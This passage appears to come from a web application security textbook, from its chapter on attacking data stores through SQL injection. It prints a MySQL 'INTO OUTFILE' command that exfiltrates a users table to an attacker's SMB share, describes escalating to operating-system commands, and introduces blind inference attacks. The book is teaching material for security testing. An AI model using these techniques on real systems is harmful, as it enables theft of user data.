the-web-application-hackers-handbook

Chapter 9 n Attacking Data Stores 319
MySQL
The SELECT ... INTO OUTFILE command can be used to direct the output from
an arbitrary query into a file. The specified filename may contain a UNC path,
enabling you to direct the output to a file on your own computer. For example:
select * into outfile ‘\\\\mdattacker.net\\share\\output.txt’ from users;
To receive the file, you need to create an SMB share on your computer that
allows anonymous write access. You can configure shares on both Windows
and UNIX-based platforms to behave in this way. If you have difficulty receiving
the exported file, this may result from a configuration issue in your SMB
server. You can use a sniffer to confirm whether the target server is initiating
any inbound connections to your computer. If it is, consult your server documentation
to ensure that it is configured correctly.
Leveraging the Operating System
It is often possible to perform escalation attacks via the database that result in
execution of arbitrary commands on the operating system of the database server
itself. In this situation, many more avenues are available to you for retrieving
data, such as using built-in commands like tftp, mail, and telnet, or copying
data into the web root for retrieval using a browser. See the later section “Beyond
SQL Injection” for techniques for escalating privileges on the database itself.
Using Inference: Conditional Responses
There are many reasons why an out-of-band channel may be unavailable. Most
commonly this occurs because the database is located within a protected network
whose perimeter firewalls do not allow any outbound connections to the
Internet or any other network. In this situation, you are restricted to accessing
the database entirely via your injection point into the web application.
In this situation, working more or less blind, you can use many techniques
to retrieve arbitrary data from within the database. These techniques are all
based on the concept of using an injected query to conditionally trigger some
detectable behavior by the database and then inferring a required item of information
on the basis of whether this behavior occurs.
Recall the vulnerable login function where the username and password fields
can be injected into to perform arbitrary queries:
SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’
Suppose that you have not identified any method of transmitting the results
of your injected queries back to the browser. Nevertheless, you have already
seen how you can use SQL injection to modify the application’s behavior.